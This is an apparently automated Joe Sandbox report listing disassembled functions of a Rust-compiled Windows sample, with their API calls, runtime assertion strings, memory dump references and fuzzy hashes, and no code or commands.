Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0d33690f8bea57991e5f53b654fa905d608de0ee16e7331f5c599feeee95498
Instruction ID: 99a9deff845dde555496a2701ec111d0f4228e9c005ee49d73487491c6c43474
Opcode Fuzzy Hash: a0d33690f8bea57991e5f53b654fa905d608de0ee16e7331f5c599feeee95498
Instruction Fuzzy Hash: 8D512D93F396F19AE3218B38880166C3FB19B26748F0C5058CFD45BF96CA5BC524E792

Function 00007FF652ED84F0 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a9ffe87dac8b0f79c3486d9fe87084e90ea7465f2c9ef8dd3cb41c2da5f34cc
Instruction ID: 5fb0f2f04f2ee43fd2e0d2e42c8ede78489e4fe1ae891b1b6b6b380cac70410c
Opcode Fuzzy Hash: 7a9ffe87dac8b0f79c3486d9fe87084e90ea7465f2c9ef8dd3cb41c2da5f34cc
Instruction Fuzzy Hash: AA419F76605BD489EB70CF25AC953DA3294F7547ACF044329DE6D8BBD8DF7882968300

Function 00007FF652EF3C10 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 127COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32 ref: 00007FF652EF3CDE
abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,00007FF652EB7F7B), ref: 00007FF652EF3CE4
RtlUnwindEx.KERNEL32 ref: 00007FF652EF3DFD

Strings

CCG , xrefs: 00007FF652EF3C77
CCG", xrefs: 00007FF652EF3C6C
CCG!, xrefs: 00007FF652EF3CD1
CCG!, xrefs: 00007FF652EF3C3A

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: ExceptionRaiseUnwindabort
String ID: CCG $CCG!$CCG!$CCG"
API String ID: 4140830120-3707373406
Opcode ID: 43bc6a9fcf29574a2fb6092479e3d423b9a48892e11f582c1d264b3b6016a3a9
Instruction ID: 35a9ae6e970d084182311ce7f4b397a687e21ea5c7afee60a277d3cf89d55399
Opcode Fuzzy Hash: 43bc6a9fcf29574a2fb6092479e3d423b9a48892e11f582c1d264b3b6016a3a9
Instruction Fuzzy Hash: 0C518F37A08B8182E7648B15F8447AA7760F789B88F58523AEE8D63758DF7DD9C1C700

Function 00007FF652E93747 Relevance: 15.4, APIs: 7, Strings: 3, Instructions: 389COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF652E93888
memcpy.MSVCRT ref: 00007FF652E94BA0

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 00007FF652E99B24
assertion failed: val <= frame::MAX_MAX_FRAME_SIZE as usize, xrefs: 00007FF652E99AE2
too_many_continuations, xrefs: 00007FF652E93F0F

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy
String ID: assertion failed: val <= frame::MAX_MAX_FRAME_SIZE as usize$called `Result::unwrap()` on an `Err` value$too_many_continuations
API String ID: 3510742995-2660614818
Opcode ID: 54fc557baa65ef833d3a9d50226c9912cfcaf93950b6050f3cd64692a1cf2291
Instruction ID: 582cc7c39b73626db534b2e6aa9a6afcebd141da25571bb12800c28242277b0f
Opcode Fuzzy Hash: 54fc557baa65ef833d3a9d50226c9912cfcaf93950b6050f3cd64692a1cf2291
Instruction Fuzzy Hash: 6422252660CBC18AD6708B15F8503EAB7A4FB85788F44402AEBCC97B99DFBCD554CB00

Function 00007FF652EB7F90 Relevance: 15.2, APIs: 12, Instructions: 190COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 00007FF652EB7FE0
TlsSetValue.KERNEL32 ref: 00007FF652EB7FF1
TlsGetValue.KERNEL32 ref: 00007FF652EB8040
TlsSetValue.KERNEL32 ref: 00007FF652EB8051
TlsGetValue.KERNEL32 ref: 00007FF652EB80A0
TlsSetValue.KERNEL32 ref: 00007FF652EB80B1
TlsGetValue.KERNEL32 ref: 00007FF652EB8100
TlsSetValue.KERNEL32 ref: 00007FF652EB8111
TlsGetValue.KERNEL32 ref: 00007FF652EB8150
TlsSetValue.KERNEL32 ref: 00007FF652EB8161
TlsGetValue.KERNEL32 ref: 00007FF652EB818A
TlsSetValue.KERNEL32 ref: 00007FF652EB81B9

Part of subcall function 00007FF652EB8200: TlsAlloc.KERNEL32(?,?,?,?,?,?,?,?,-00000008,000001FF191A13A0,00000001,?,00007FF652E347B1), ref: 00007FF652EB8243
Part of subcall function 00007FF652EB8200: InitOnceComplete.KERNEL32(?,?,?,?,?,?,?,?,-00000008,000001FF191A13A0,00000001,?,00007FF652E347B1), ref: 00007FF652EB828E

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: Value$AllocCompleteInitOnce
String ID:
API String ID: 1228016869-0
Opcode ID: e15dbd60811694517ec314bcc00b85e65cbd7ada16532431ef909ad5c4a07048
Instruction ID: 25d618ef9218e4734a3d8bfaf393a86e5aa22e2085e226cec45c3bc2f81189fe
Opcode Fuzzy Hash: e15dbd60811694517ec314bcc00b85e65cbd7ada16532431ef909ad5c4a07048
Instruction Fuzzy Hash: 7B617121F0A76245FA59DB21ED113B963916F40B98F0C813DCD1CB77C9DEACE8418350

Function 00007FF652E93638 Relevance: 10.9, APIs: 6, Strings: 1, Instructions: 354COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF652E94BA0

Strings

, xrefs: 00007FF652E93AF0

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-3916222277
Opcode ID: a28f4d615b39c3913c134ffe5b894926341caecec5c1c51c67f410de736448f1
Instruction ID: 4c8d6b2e0554c4f8f6b177cbd66cc386f02d875ae9e8f84189d48ce654dfc933
Opcode Fuzzy Hash: a28f4d615b39c3913c134ffe5b894926341caecec5c1c51c67f410de736448f1
Instruction Fuzzy Hash: 9112362660CAC08AE7718B14E8513EBB7A4FB95748F04512ADBCC97B9ADFBCD554CB00

Function 00007FF652E9602D Relevance: 9.4, APIs: 4, Strings: 2, Instructions: 365COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF652E96060
memcpy.MSVCRT ref: 00007FF652E96E5F

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 00007FF652E99ACA, 00007FF652E99B24
assertion failed: val <= frame::MAX_MAX_FRAME_SIZE as usize, xrefs: 00007FF652E99AE2

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy
String ID: assertion failed: val <= frame::MAX_MAX_FRAME_SIZE as usize$called `Result::unwrap()` on an `Err` value
API String ID: 3510742995-4006896296
Opcode ID: 51e9247ebe0bcb8a7839a6544b19365d94d9128480d8d6b69135f1f6b505ce3b
Instruction ID: 079d44fc295e7830ebad75d670065a462144545354fb3d45c2129e496837d329
Opcode Fuzzy Hash: 51e9247ebe0bcb8a7839a6544b19365d94d9128480d8d6b69135f1f6b505ce3b
Instruction Fuzzy Hash: B912253660CAD185D670CB15E8903EEB7A0F799788F08402ADACD93B59DF7CD195CB40

Function 00007FF652EA14C2 Relevance: 9.2, APIs: 5, Strings: 1, Instructions: 171COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF652EA15E7
memcpy.MSVCRT ref: 00007FF652EA1668
memcpy.MSVCRT ref: 00007FF652EA16A1
memcpy.MSVCRT ref: 00007FF652EA1712
memcpy.MSVCRT ref: 00007FF652EA1764

Strings

domain is valid Uri, xrefs: 00007FF652EA17CE

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy
String ID: domain is valid Uri
API String ID: 3510742995-2445101809
Opcode ID: 74a8ca3a455f6d6705f7b58b72462cf7dd83358720549dc240d4037f46ae8493
Instruction ID: d8bcb89f9291b05a712ca0c0afa01525f9912fc2542e7dc087f091135274522f
Opcode Fuzzy Hash: 74a8ca3a455f6d6705f7b58b72462cf7dd83358720549dc240d4037f46ae8493
Instruction Fuzzy Hash: 8581D423A0CAD581E711CB25E8043EEAB64FB99788F489225DFCD67756DF78E285C700

Function 00007FF652EDC3F0 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 213COMMON

Download Yara Rule

APIs

freeaddrinfo.WS2_32 ref: 00007FF652EDC657
freeaddrinfo.WS2_32(?,?,?,?,00000058,?,?,?), ref: 00007FF652EDC71F

Strings

, xrefs: 00007FF652EDC624
assertion failed: len >= mem::size_of::<c::sockaddr_in6>(), xrefs: 00007FF652EDC6AC, 00007FF652EDC6F2
assertion failed: len >= mem::size_of::<c::sockaddr_in>()std\src\sys_common\net.rs, xrefs: 00007FF652EDC525, 00007FF652EDC6DD

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: freeaddrinfo
String ID: $assertion failed: len >= mem::size_of::<c::sockaddr_in6>()$assertion failed: len >= mem::size_of::<c::sockaddr_in>()std\src\sys_common\net.rs
API String ID: 2731292433-2757504381
Opcode ID: 8b6907ed34c3d131f645cff191876e874fa3d069185bbb01d01b40c30b9e07f5
Instruction ID: c1995577dad75b21db5cf8f106426eeee22688476754352d0f3e4ca5208b11e1
Opcode Fuzzy Hash: 8b6907ed34c3d131f645cff191876e874fa3d069185bbb01d01b40c30b9e07f5
Instruction Fuzzy Hash: 05A18E73A04A618AE714CF51E8406AD77B0FB88B88F69913ECE0DA7794DF78D942C740

Function 00007FF652E6B7BE Relevance: 7.7, APIs: 6, Instructions: 176COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF652E6B9C7
memcpy.MSVCRT ref: 00007FF652E6BA01
memcpy.MSVCRT ref: 00007FF652E6BA49
memcpy.MSVCRT ref: 00007FF652E6BA6B
memcpy.MSVCRT ref: 00007FF652E6BAB0

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: b2d5861879bfb16233db21af1fb773f07c3dfd1c966a1136f3431f19a05d854f
Instruction ID: ec8febbedb4b475bb63006d834a6a779015fdac8301afa32f13fee77843bbc19
Opcode Fuzzy Hash: b2d5861879bfb16233db21af1fb773f07c3dfd1c966a1136f3431f19a05d854f
Instruction Fuzzy Hash: F581BF32A08B9181EA219B25E9453FD6360FB99B88F489139DFCC67756DFBCE195C300

Function 00007FF652E6BB5C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 95threadCOMMON

Download Yara Rule

APIs

SwitchToThread.KERNEL32 ref: 00007FF652E6BB94

Strings

assertion failed: (*tail).value.is_none()/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-channel-0.3.31/src/mpsc/queue.rs, xrefs: 00007FF652E6BC79
assertion failed: (*next).value.is_some(), xrefs: 00007FF652E6BC89
called `Result::unwrap()` on an `Err` value, xrefs: 00007FF652E6BCC2

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: SwitchThread
String ID: assertion failed: (*next).value.is_some()$assertion failed: (*tail).value.is_none()/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-channel-0.3.31/src/mpsc/queue.rs$called `Result::unwrap()` on an `Err` value
API String ID: 115865932-2485164683
Opcode ID: 8b5b1af98dea7b7c69dd75c89dd1bac8fe02bc9f74a890462d141938428a3c35
Instruction ID: 84b9b3a240d28e631d7a16427109f2c497942455f504b10a485d0ad681001c0c
Opcode Fuzzy Hash: 8b5b1af98dea7b7c69dd75c89dd1bac8fe02bc9f74a890462d141938428a3c35
Instruction Fuzzy Hash: 52418122A08A5681EB159B14F9813F96361FF95758F084139DF8DA37A2EFBCF586C340

Function 00007FF652EDF3B5 Relevance: 6.4, APIs: 1, Strings: 3, Instructions: 383COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF652EB9060: TlsGetValue.KERNEL32(?,?,?,?,00007FF652EDF3F6), ref: 00007FF652EB907B
Part of subcall function 00007FF652EB9060: TlsGetValue.KERNEL32(?,?,?,?,00007FF652EDF3F6), ref: 00007FF652EB90B3
Part of subcall function 00007FF652EB9060: TlsSetValue.KERNEL32(?,?,?,?,00007FF652EDF3F6), ref: 00007FF652EB90C3

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000008), ref: 00007FF652EDF55C

Strings

full, xrefs: 00007FF652EDF75E
main, xrefs: 00007FF652EDF604
cannot access a Thread Local Storage value during or after destruction/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\local.rs, xrefs: 00007FF652EDF407, 00007FF652EDF53E

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: Value
String ID: cannot access a Thread Local Storage value during or after destruction/rustc/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf\library\std\src\thread\local.rs$full$main
API String ID: 3702945584-2417334510
Opcode ID: a8894f71ba16f5853eb802958db238042ad7bc0349f4bb8ee24a064cc3dc5ad9
Instruction ID: 8c3a7a82bb45e51d5c437d73647d103e75680dd2cface71f3ecf0ca323bdc4e5
Opcode Fuzzy Hash: a8894f71ba16f5853eb802958db238042ad7bc0349f4bb8ee24a064cc3dc5ad9
Instruction Fuzzy Hash: F1027772A08B6295EB15CB20EC503AC23A0BF8478CF58813EDA4DA7795DFBCE485C340

Function 00007FF652EE547F Relevance: 6.3, APIs: 5, Instructions: 83COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 00007FF652EE549D
TlsGetValue.KERNEL32 ref: 00007FF652EE54F4
TlsSetValue.KERNEL32 ref: 00007FF652EE5501
TlsSetValue.KERNEL32 ref: 00007FF652EE555F
TlsSetValue.KERNEL32 ref: 00007FF652EE5570

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: deae23ee15cf87152d15e7896b3bcffaffd61980cc7a15c6230c148eddde5118
Instruction ID: 743fe117e0de2f09de61a554a01c56baf8ab3fb3eaafbe1b0a25cbfa54304c02
Opcode Fuzzy Hash: deae23ee15cf87152d15e7896b3bcffaffd61980cc7a15c6230c148eddde5118
Instruction Fuzzy Hash: 86219C21B0857342FA596A26AD013BD5652AF84B89F0C8438DE4DFB386DEACEC438740

Function 00007FF652E93291 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 175COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF652E94BA0

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 00007FF652E99ACA, 00007FF652E99B24
assertion failed: val <= frame::MAX_MAX_FRAME_SIZE as usize, xrefs: 00007FF652E99AE2

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy
String ID: assertion failed: val <= frame::MAX_MAX_FRAME_SIZE as usize$called `Result::unwrap()` on an `Err` value
API String ID: 3510742995-4006896296
Opcode ID: abc9442598325a8725a45e11d80a448edf8fcd83131d235621464f894795e714
Instruction ID: 1c1261fdd60507d1f7f579595a32c73ca403f1be18020c0410e8fb5b8d035728
Opcode Fuzzy Hash: abc9442598325a8725a45e11d80a448edf8fcd83131d235621464f894795e714
Instruction Fuzzy Hash: 24A1DE3620DBC18AD6718B25B8503EBBBA4F799744F04402ADAC893B5ADFBCD158CF51

Function 00007FF652E63B43 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 166COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF652E63C16
memcpy.MSVCRT ref: 00007FF652E63D0E

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 00007FF652E63DA5
capacity overflow, xrefs: 00007FF652E63D5B

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034481629.00007FF652F58000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652e30000_WOlxr4yjgF.jbxd

Similarity

API ID: memcpy
String ID: called `Result::unwrap()` on an `Err` value$capacity overflow
API String ID: 3510742995-2618782069
Opcode ID: 63c50837a887ed9a48c4c08e919328105720dede19ca220463c88715f3d8e9df
Instruction ID: e654551ffdfaa7dffe4cc8969252f47377ac94d27316800cba6711e9c9d1411b
Opcode Fuzzy Hash: 63c50837a887ed9a48c4c08e919328105720dede19ca220463c88715f3d8e9df
Instruction Fuzzy Hash: 8E619362A0866281EA549B12FC802B96751FB45FDCF4C4139EF5DA7799DEBCF881C310

Function 00007FF652E5E35A Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 143COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF652E5E433
memcpy.MSVCRT ref: 00007FF652E5E4FE

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 00007FF652E5E341
capacity overflow, xrefs: 00007FF652E5E548

Memory Dump Source

Source File: 00000000.00000002.2034218972.00007FF652E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652E30000, based on PE: true

Associated: 00000000.00000002.2034189928.00007FF652E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034304917.00007FF652EF6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034333118.00007FF652EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034422872.00007FF652F53000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034449702.00007FF652F55000.00000008.00000001.01000000.00000003.sdmpDownload File
